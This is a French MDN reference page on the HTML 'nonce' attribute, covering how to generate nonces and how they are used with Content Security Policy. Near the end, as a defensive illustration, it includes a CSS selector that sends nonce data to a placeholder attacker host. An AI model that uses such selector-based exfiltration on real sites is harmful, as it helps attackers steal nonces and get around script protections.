Movatterモバイル変換


[0]ホーム

URL:


  1. Web
  2. HTML
  3. Référence
  4. Attributs universels
  5. nonce

Cette page a été traduite à partir de l'anglais par la communauté.Vous pouvez contribuer en rejoignant la communauté francophone sur MDN Web Docs.

View in EnglishAlways switch to English

nonce

Baseline Widely available

Cette fonctionnalité est bien établie et fonctionne sur de nombreux appareils et versions de navigateurs. Elle est disponible sur tous les navigateurs depuis mars 2022.

L'attribut universelnonce est un attribut de contenu qui définit un nonce cryptographique pouvant être utilisé par unerègle de sécurité du contenu (CSP) afin de déterminer si la récupération d'un élément sera autorisée ou non.

Description

L'attributnonce permet d'autoriser certains éléments spécifiques (comme un script ou un style donné) en évitant d'avoir à utiliser la directiveCSPunsafe-inline qui autoriseraittous les scripts ou styles embarqués.

Note :nonce doit uniquement être utilisé pour les cas où il n'est pas possible de faire autrement que d'utiliser un script ou un style embarqué non sécurisé. Si vous n'avez pas besoin denonce, il ne faut pas l'utiliser. Si votre script est statique, vous pouvez utiliser une empreinte (hash) CSP à la place (voir les notes d'utilisation surles scripts embarqués non sécurisés.)

Mieux vaut toujours exploiter les protectionsCSP au maximum et donc éviter les nonces ou les scripts embarqués non sécurisés tant que possible.

Utilisernon pour autoriser un élément <script>

Plusieurs étapes sont nécessaires afin d'utiliser un nonce pour autoriser un script embarqué.

Générer une valeur

Sur le serveur web, générez une chaîne de caractères encodées en base64 à partir de 128 bits de données générés par un générateur de nombres aléatoires cryptographique. Les nonces doivent être générés différemment à chaque chargement de la page. En Node.js par exemple, on pourra écrire :

js
const crypto = require("crypto");crypto.randomBytes(16).toString("base64");// '8IBTHwOdqNKAWeKl7plt8g=='

Autoriser le script embarqué

Le nonce généré côté serveur peut ensuite être utilisé sur le script embarqué qu'on souhaite autoriser :

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">  …</script>

Envoyer le nonce avec un en-tête CSP

Enfin, il faut envoyer la valeur du nonce dans un en-têteContent-Security-Policy en préfixant la chaîne de caractères avecnonce- :

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Masquage et accès au nonce

Pour des raisons de sécurité, le contenu de l'attributnonce est masqué (c'est une chaîne vide qui sera renvoyé).

js
script.getAttribute("nonce"); // renvoie la chaîne vide

La propriéténonce est la seule façon d'accéder aux nonces :

js
script.nonce; // renvoie la valeur du nonce

Un tel masquage empêche des acteurs malveillants d'exfiltrer les données du nonce grâce à des mécanismes qui permettent d'accéder aux attributs comme :

css
script[nonce~="peuimporte"] {  background: url("https://evil.com/nonce?peuimporte");}

Spécifications

Specification
HTML
# attr-nonce

Compatibilité des navigateurs

Voir aussi

Help improve MDN

Learn how to contribute

Cette page a été modifiée le par lescontributeurs du MDN.


[8]ページ先頭

©2009-2026 Movatter.jp